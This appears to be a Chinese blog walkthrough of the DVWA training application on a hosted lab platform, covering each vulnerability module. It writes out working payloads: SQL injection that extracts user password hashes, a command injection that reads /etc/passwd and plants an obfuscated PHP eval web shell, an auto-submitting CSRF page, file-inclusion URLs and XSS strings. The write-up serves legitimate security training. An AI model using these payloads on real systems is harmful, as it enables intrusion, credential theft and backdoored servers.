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 谜团靶机 专栏收录该内容
8 篇文章 3 订阅
订阅专栏

DVWA（Damn Vulnerable Web Application）是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用，旨在为安全专业人员测试自己的专
业技能和工具提供合法的环境，帮助web开发者更好的理解web应用安全防范的过程。

谜团靶机平台地址：https://mituan.zone/

注册选择靶机注册选择靶机

注册登录之后可以看到有很多靶机，选择本次的目标-DVWA。

https://blog.csdn.net/zycdn
https://blog.csdn.net/zycdn/category_10717978.html
https://so.csdn.net/so/search/s.do?q=%25E7%25BD%2591%25E7%25BB%259C%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E8%25B0%259C%25E5%259B%25A2%25E9%259D%25B6%25E5%259C%25BA&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=DVWA&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/zycdn/article/details/112279675
https://blog.csdn.net/zycdn/category_10717978.html
https://mituan.zone/


点击开始练习

点击打开按钮



在新打开的页面中输入admin password登录，进行靶场初始化。

初始化完成之后，重新登录，开始靶场练习。。。

Brute Force
输入admin、admin之后抓包，发送到爆破模块，添加字典然后进行暴力破解，成功得到密码password。





经过查看源码，发现也可以通过注入的方式登录，

admin' and 1=1 -- qwe  or不行

admin' or '1'='1  and不行

admin'#



Command Injection
输入 127.0.0.1 | cat /etc/passwd或者 | echo '<?php

$a="6576616c28245f52455"."1554553545b385d293b";$b="a";define("a",PACK("H*",$$b));eval(a);?>' >

../../mituan.php，之后访问地址 http://b20b47d25e6e4146a001ba46fd059ea4.app.mituan.zone/mituan.php?8=phpinfo();





CSRF
点击Change之后，用Burp抓包，然后制作CSRF Poc。

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form id='a' action="http://b20b47d25e6e4146a001ba46fd059ea4.app.mituan.zone/vulnerabilities/csrf/">
      <input type="hidden" name="password&#95;new" value="admin123" />
      <input type="hidden" name="password&#95;conf" value="admin123" />
      <input type="hidden" name="Change" value="Change" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
<script>
    function abc(){
        document.getElementById('a').submit();
    }
    setTimeout(abc, 500);
</script>
</html>



退出当前账号，然后重新登录，再然后访问刚才制作的Poc页面，发现直接提示密码已经更新。



现在可以使用新设置的密码 admin123重新登录了。

File Inclusion

http://b20b47d25e6e4146a001ba46fd059ea4.app.mituan.zone/vulnerabilities/fi/?

page=/etc/apache2/apache2.conf（file4.php）

http://b20b47d25e6e4146a001ba46fd059ea4.app.mituan.zone/vulnerabilities/fi/?

page=file:///etc/apache2/apache2.conf

http://b20b47d25e6e4146a001ba46fd059ea4.app.mituan.zone/vulnerabilities/fi/?

page=http://b20b47d25e6e4146a001ba46fd059ea4.app.mituan.zone/phpinfo.php

http://b20b47d25e6e4146a001ba46fd059ea4.app.mituan.zone/vulnerabilities/fi/?page=hTTp://www.baidu.com



File Upload
查看源码发现没有任何校验，所以这里直接上传php文件了。

访问刚上传的文件，发现无法解析。



NO，不要忘了前面还有文件包含呢。
http://b20b47d25e6e4146a001ba46fd059ea4.app.mituan.zone/vulnerabilities/fi/?

page=http://b20b47d25e6e4146a001ba46fd059ea4.app.mituan.zone/hackable/uploads/111.PhP

Insecure CAPTCHA



这个因为无法填写key，以为无法测试了，但是阅读源码发现，可以通过设置step的值直接跳到第二个过程（更新密码）。

<?php

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check CAPTCHA from 3rd party
    $resp = recaptcha_check_answer(
        $_DVWA[ 'recaptcha_private_key'],
        $_POST['g-recaptcha-response']
    );

    // Did the CAPTCHA fail?
    if( !$resp ) {
        // What happens when the CAPTCHA was entered incorrectly
        $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
        $hide_form = false;
        return;
    }
    else {
        // CAPTCHA was correct. Do both new passwords match?
        if( $pass_new == $pass_conf ) {
            // Show next stage for the user
            echo "
                <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
                <form action=\"#\" method=\"POST\">
                    <input type=\"hidden\" name=\"step\" value=\"2\" />
                    <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
                    <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />



                    <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
                    <input type=\"submit\" name=\"Change\" value=\"Change\" />
                </form>";
        }
        else {
            // Both new passwords do not match.
            $html     .= "<pre>Both passwords must match.</pre>";
            $hide_form = false;
        }
    }
}

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check to see if both password match
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_
escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_esca
pe_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["__
_mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___m
ysqli_res : false)) . '</pre>' );

        // Feedback for the end user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with the passwords matching
        echo "<pre>Passwords did not match.</pre>";
        $hide_form = false;
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>



当 isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' )的时候，就会更新密码（不要忘记将请求模式修改成

POST）。

此时重新登录，发现密码已经被修改。

SQL Injection
分别查询字段数、回显点、库名、表名、字段名、数据明细。

1' order by 2 -- qwe

1.1' union all select 1,2 -- qwe

1.1' union all select 1,database() -- qwe

1.1' union all select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -

- qwe

1.1' union all select 1,group_concat(column_name) from information_schema.columns where table_schema=database()

and table_name='users' -- qwe

1.1' union all select 1,group_concat(concat_ws(':',user,password)) from users -- qwe







SQL Injection (Blind)
盲注一般先判断长度，然后挨个字母判断。这里就直接查询第二个表的表名了。

1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=5 --

qwe

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit

1,1),1,1))=117 -- qwe（爆破的时候要注意标记的位置）

[chr(i) for i in [117,115,101,114,115]]



然后接着查询users表的字段名称，这里以第四个字段（user）为例。
1' and length((select column_name from information_schema.columns where table_schema=database() and

table_name='users' limit 3,1))=4 -- qwe

1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and

table_name='users' limit 3,1),1,1))=117 -- qwe

[chr(i) for i in [117,115,101,114]]





按照上面的方式可以查询出users表里面的字段名称（user，password含有数据）。
1' and length((select password from users where user='admin'))=32 -- qwe

1' and ascii(substr((select password from users where user='admin'),1,1))=117 -- qwe

[chr(i) for i in

[97,54,54,97,98,98,53,54,56,52,99,52,53,57,54,50,100,56,56,55,53,54,52,102,48,56,51,52,54,101,56,100]]

a66abb5684c45962d887564f08346e8d（在第二次演示CSRF的时候密码又改成admin123456了）





Weak Session IDs
用户访问服务器的时候，一般服务器都会分配一个身份证 session id 给用户，用于标识。一个SessionID就对应一个客户端，用
户拿到session id 后就会保存到 cookies 上，之后只要拿着 cookies 再访问服务器，服务器就知道你是谁了。

<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id'])) {
        $_SESSION['last_session_id'] = 0;
    }
    $_SESSION['last_session_id']++;
    $cookie_value = $_SESSION['last_session_id'];
    setcookie("dvwaSession", $cookie_value);
}
?>

这个没有看明白，要绕过登录，是需要知道cookie的（而session_id就在cookie里面）。

XSS (DOM)
访问地址 http://b20b47d25e6e4146a001ba46fd059ea4.app.mituan.zone/vulnerabilities/xss_d/?default=<script>alert(1)

</script>

XSS(Reflected)



文本框输入： <script>alert('谜团')</script>，提交即可

XSS(Stored)

发现每次进入这个页面均会弹窗。

CSP Bypass



Content-Security-Policy内容安全策略是指HTTP返回报文头中的标签，浏览器会根据标签中的内容，判断哪些资源可以加载或执
行。是为了缓解潜在的跨站脚本问题（XSS），CSP的实质就是白名单制度，明确告诉客户端，哪些外部资源可以加载和执
行。

按照我的理解输入提示代码中的地址，就会弹窗的，但是实际并不行，不知道哪里有问题。

JavaScript Attacks
输入success提交，提示我token不对。



查看源码发现有一个重新生成token的方法。

输入框中输入success，然后在console中执行 generate_token();，再点提交。



销毁靶机销毁靶机

为避免资源浪费，在使用完成之后进行销毁。

参考的网址如下：

DVWA通关指南
三角地安全

DVWA渗透系列十四：JavaScript
JOJO的奇妙代码

https://www.zhihu.com/people/eumeniders/posts?page=2
https://www.zhihu.com/column/manok
https://blog.csdn.net/qqchaozai/article/details/102756976
https://www.cnblogs.com/jojo-feed/tag/DVWA/
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